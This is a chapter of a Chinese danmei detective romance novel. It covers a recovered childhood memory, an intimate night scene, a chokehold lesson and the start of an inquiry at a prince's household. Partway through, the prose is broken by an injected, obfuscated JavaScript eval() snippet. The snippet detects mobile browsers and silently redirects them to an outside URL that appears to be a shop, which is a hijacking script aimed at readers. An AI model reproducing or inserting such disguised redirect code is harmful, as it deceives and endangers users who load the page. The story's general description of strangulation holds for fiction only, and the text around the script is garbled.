45.肆拾伍
作品:《觅知记[探案]》 床上的慕天知倏地睁开双眼,胸口剧烈起伏。
秦觅本就睡不踏实,感觉到身边人突然身体猛地一动,呼吸声陡然重了些,一下子就醒了,迷迷糊糊地看过去:“怎么了?”
“阿鲤。”旁边的人同样声音嘶哑,音调极轻,“你是……阿鲤。”
听到这个熟悉又遥远的名字,秦觅觉得喉咙被浓重的酸意堵住,晦涩得几乎无法呼吸,更发不出声音,眼泪不受控制地从眼眶里涌了出来。
他看见慕天知侧过身,黑暗中明亮的眼睛定定地看着自己,似乎是不可置信地低声反复呼唤:“阿鲤,阿鲤……”
“我在呢,小烽哥哥。”秦觅泪眼朦胧地望着他,“你想起来了?”
慕天知不知道该怎么说,与上次脑海中闪过的简单画面不同,方才那一刻,他像彻底忘却了自己的身份,完全变成了慕烽,怀抱着瘦弱的秦觅时那种痛苦又充满怜惜的感觉让他完全无法自持,仿佛穿越去了十年前,变成了被困于矿井中、艰难挣扎的少年。
这一切像梦,但从秦觅的回应看来,又应该是真实的。
慕天知伸手把他抱进了怀里:“只想起了一些片段,想起你的乳名叫阿鲤,在矿井里,我一直这么叫你。”
难怪重逢那夜,他问自己“你还记得阿鲤吗”。
没有得到回答的他,那时候会是怎样的心情?
“记起这个就够了。”秦觅窝在他温暖的怀里,缓缓呼出一口气,“足够了。”
慕天知抱着秦觅,感觉到怀中瘦削的身体微微发颤,忍不住低头在他额上轻轻一吻。
“我想起来,自己被丢进山洞里,是你先来照顾我,告诉我你的名字,让我别害怕。”他喃喃道,“还有,我们在那里生活,你尽自己所能,照顾每一个人。”
秦觅仍旧止不住眼泪,心情却是雀跃的,心脏也跳得很快:“那只是你眼里的我,其实你也很会照顾别人,还一直护着我。”
想起危险来袭时自己被推开的那一瞬,慕天知抱紧了他:“我们是互相保护,没有你我也活不下去。”
那种相濡以沫的亲密让他此刻对秦觅更喜欢了些,尽管心里清楚这记忆和精力都不是自己的,但他无法自控。
既然自己已经取代了慕烽,既然自己对秦觅也有好感,没必要分清太多。
好好照顾他就是了。
秦觅笑了笑:“我们是依偎在一起的两只小狗,就像花虎和黑豹。”
“好吧,既然你这么愿意当小狗,我就陪你做小狗。”慕天知想起回忆里他为自己舔舐伤口,仍是止不住地心疼,那会儿应该是没有药物,他不得已才这么做,“你乳名为什么叫阿鲤?”
秦觅枕在他的臂弯,仰头看他:“看来这段你没想起来,那我就再给你讲一遍吧。那是因为我娘在怀我的时候就梦见过一条小鲤鱼,等快生的时候,又梦见了一条大鲤鱼,爹娘说我将来一定会鲤鱼跃龙门,光耀门楣,原本要给我取名秦鲤,后来问过私塾的夫子,夫子觉得跟孔圣之子的名字重复不太合适,劝他俩换个字,最后才定了‘觅’字,取‘劚山觅玉’的意思,希望我能追觅事物真谛。”
这好像是重逢以来,他第一次用如此轻快且俏皮的语气这样说话,落在慕天知眼里,没想到向来聪明狡黠的秀才还有这样憨态可掬的一面,实在是可爱。
太可爱了。
他没忍住,低头又在秦觅的鼻尖上轻轻亲了亲,嗅着那令他安心的淡淡药香:“我的阿鲤。”
是慕烽的阿鲤,现在一厢情愿被他当成自己的。
不想放手。
哪怕这个案子还有很多谜团没有解开。
但他觉得,秦觅与慕烽之间,不可能有什么违背原则的大问题。
这么善良的阿鲤,就算不幸手沾鲜血,也一定另有隐情。
秦觅没想到他会这么说,这四个字简直把十年前埋藏于心底的亲密一下子全都勾了出来,让人瞬间回到那个相濡以沫的时光。
那段日子虽然艰险无比,但最可贵的就是收获了这样一段友情,简直是暗无天日时唯一的光亮。
哪怕……现在这光亮,好像有些变质。
但这种变质,反而让两人的关系更亲密了。
他想起那夜被慕天知抱在怀里,肌肤相贴、亲密无间的样子,明白自己为什么并不反感被男人这样对待,全因这么做的那个人是他的小烽哥哥。
被凶狠地占有和吞噬没什么关系,疼痛也变得愉悦,或许只有这样,才能让他再找回当时相依为命的感觉。
身体不过是皮囊而已,他只是疯狂地想要变回那个灵魂还完整的自己。
这个鼻尖上轻轻一吻,在秦觅心中掀起轩然大波,他按着慕天知的肩膀轻轻翻身,整个人压过去,居高临下地看着对方。
慕天知此刻心里全是纯爱,对此刻的体位颇感意外,轻轻挑了挑眉。
“重霄。”秦觅看着他,低低地唤,“重霄。”
听他唤的是自己的名字,慕天知心里本就不多的越俎代庖的负罪感瞬间消散,双手握住他窄瘦的腰,轻轻用力:“喜欢我吗?”
“喜欢。”
“喜欢的是谁?慕烽还是慕天知?”
秦觅看着眼前这个非要自己跟自己较劲的人,忍不住笑了。
“想和慕烽携手,但想跟慕天知……”他凑到对方耳边,轻声道,“欢好。”
接着天旋地转,他被慕天知压在了身下,沉甸甸的感觉带来了让人心安的踏实。
慕天知下意识地屏住呼吸,看着黑暗中莹白的那张脸,小心翼翼地靠近。
鼻尖贴着鼻尖,嘴唇间相距毫厘。
他寻找到秦觅的手,挤进指缝,十指紧扣。
这暧昧的气氛很好,可秦觅却迫不及待了,微微仰头,主动去触碰。
温热的鼻息和柔软的触感从唇上传来,慕天知心口本就蓄势待发的火被“轰”地一声点燃,他毫不犹豫地低头,重重吻下去。
一瞬间天雷勾动地火,舌尖勾缠,唇齿交融,所有的眷恋和欲念都融化在了这个无比火热的吻当中。
这吻先是热烈,而后缠绵,不知不觉俩人衣带散落,温热和滚烫的皮肤不经意地相.贴,烫得他们不约而同怔了一怔,消失了片刻的理智艰难回归,四目相对着思索要不要继续。
窗边已有微暗的日光映了进来,应该快要到卯时。
无妨,时间够用。
秦觅毫不犹豫地勾住慕天知的脖颈,想要深入交流,谁知慕天知却轻声笑了,抓住他的手腕,碰到唇边亲了一口:“改天再说,先歇会儿。”
“歇?”秦觅挑着眉毛看他。
慕天知低头,在他颈间那四叶草的胎记上轻轻一吻,感受到他脉搏的跳动,促狭地说:“怕你受不住,我还得收着劲儿——秦师爷,昨日算是入职,今日可是履新,你要第一天就迟到吗?还是打算查案的时候身子都不爽利?”
虽说不是第一次,但也隔了这么久了,确实会影响行动,再说还得骑马呢。
秦觅遂放弃抵抗。
但又不想被对方说是因为自己的原因,不服气地抬了抬膝盖,质问面前这个硬梆梆的男人:“大人也怕腰酸背疼吧。”
“嗯,我怕。”慕天知躺下,从背后搂住他,把脸埋在他的后颈。
两人就这么安静地躺着,等各自的反应渐渐消退。
秦觅隐隐约约又要睡着,就听慕天知在他耳边问道:“阿鲤,要不要考虑跟我谈个恋爱?”
“不谈,大人切勿对我情根深种。”他扣住对方搂在自己腰间的手,笑道,“我本无根藤,至死方落地。”
慕天知轻轻咬了咬他的耳朵,笑道:“渣男。”顿了顿又说,“什么‘无根’,听着像太监。”
秦觅:“……”
镇抚使大人的小腿胫骨上挨了一脚。
慕天知笑得开怀,心里却又有几分沉重,不知道秦觅这样说,是不是因为担心心痹之症活不长久,不想给他徒增负担。
亦或者,还有其他原因。
俩人迷迷糊糊又睡了一会儿,等到隔壁鸡鸣,这才一起起床。
慕天知一声呼哨,唤来在附近潜伏的都衍卫,安排他给两人买来了早饭。
“重霄,虽然我知道你是好意,但别安排人在我附近盯梢,我不喜欢被人暗中观察。”吃着美味可口的饭菜,秦觅尽可能温声说。
俩人刚和好,他不想让对方觉得膈应,本来是不想说的,可是考虑到不说,如鲠在喉的话,只会让自己更不舒服,同样会影响到他们的关系,还是咬牙说了出来。
慕天知莞尔道:“放心,他们是跟着我的暗卫,我不在,他们就不在。”
“当真?”秦觅确认地问。
慕天知笑得有些坏:“不信我?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458237|200885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“你不同样不信我么?”秦觅垂眸,一小口下去,给包子来了个皮外伤。
一个是看过太多恶事的镇抚使,一个是从大逃杀中侥幸生还的幸存者,长大了的他们都回不去以前单纯简单的时光,看人看事都难免会多几层思量,要他们彻底相信谁,恐怕很难做到。
但这并不影响彼此间互相深深吸引,一边疑心着,一边又喜欢着。
成年人的世界就是这么复杂。
慕天知“咔嚓”咬了一口脆脆的油条:“从今往后,我答应你的事一定算话,我拿我的命发誓,确实不好证明,只能信不信由你。”
“你说的我就信。”秦觅垂眸道。
“那你能不能答应我一件事?”慕天知看着他,“既然你不让我派人跟着你,那你就别像上次那样以身入局,今时不同往日,如果你有什么意外,我会非常心痛。”
秦觅点点头,冲他温柔一笑:“我答应你。这么不放心,你可以教我几招功夫防身啊!”
“你那细胳膊细腿还有小心脏,丁点儿力气都没有,能用上什么功夫?”慕天知想都没想就嗤笑一声。
看着对方肉眼看见地脸发黑,又赶紧哄:“我教你我教你,有一招还真的很适合你。”
“什么?”秦觅眼睛瞬间亮了起来。
慕天知往前推了推他的豆腐脑:“吃完再教。”
秦秀才的进食速度明显提升,看来是很想学了。
“这招叫‘裸绞’,有两种方式,一种叫颈脖绞,也叫血绞,一种叫咽喉绞,也叫气绞。”
很快吃完饭,慕天知展开了教学。
他把秦觅带到卧房中,让对方站在长镜前,自己站在后边,亲自演示。
“颈脖绞,顾名思义,就是用右手肘缠住对方的脖子,右手握住左手关节收紧,左臂用力抵在对方脑后,目的是卡住颈动脉——就是后脑这边的血管,血液一时不能流向大脑,造成……血厥。”
“咽喉绞,就是两手扣在一起,形成一个绳套,用力卡住对方咽喉,造成窒息,来,你在我身上试试。”
然而镇抚使大人个子太高,秦秀才只能先请他坐下,才能在他身上练习,很快掌握了动作要领。
“我们予得就是聪明。”慕天知被勒着脖子,眉开眼笑地提供情绪价值,“把自己想象成一条大蟒蛇,使出全身的力气就行了。”
秦觅使的是颈脖绞,看他嬉皮笑脸明显在看不起人,猛然多用了些力气,
慕天知登时觉得后脑被压迫得厉害,眼前隐隐发黑,赶忙拍了拍他的手臂。
“怎么样,我力气不小吧,别看不起人。”秀才得意地说。
慕天知活动着脖子,没想到他真的有把子力气,鼓励道:“很棒,如果用到,抱住脖子往死里使劲就对了。不过我衷心希望你用不到。”
秦觅软软地环住他,在他唇上轻轻一吻:“勒得狠了吧?给你渡口气。”
被渡了口阳气的镇抚使大人瞬间精神百倍,和自己新上任的刑名师爷一同骑上高头大马,径直往广平王府赶去,同时派人传信给梅淼,让她到王府与两人会合。
“又不是我们出了家贼,为何要来我家盘问?!”
今日没有大朝会,广平王就在家中,听到慕天知的要求,当场吹胡子瞪眼地发起了脾气。
广平王妃本就哭得眼睛红肿,闻言眼泪又开始往下掉。
长子见母亲伤心,帮着父亲质问道:“父王说得没错,慕天知,你不去抓凶手,反到我家来骚扰,岂不是故意找茬?就算你是景国公世子,如此仗势欺人,不怕我去圣上面前参你一本?相信他老人家定会秉公处置!”
“殿下、娘娘,宋大人,请息怒。”慕天知丝毫不乱,沉声道,“天知正是想尽快破案,才想来府中盘问下人,或许他们当中能有人知晓澄西兄一些琐事,琐事当中或许会有线索,还请行个方便。”
他当然可以拿身份压人,但不想与广平王伤了和气,何况这不是皇帝亲派的案子,是命案,而广平王家是苦主,若是态度太强硬了,真的惊扰到圣驾,难免显得自己办事不力。
秦觅一介没有功名的白身,不便插嘴,只能站在他身后悄咪咪地观察广平王一家三口的神情。
见他们互相看来看去,眼神里分明另有深意,心中禁不住冷笑。
看来这对父母和大哥,对宋源的品性并非一无所知啊!

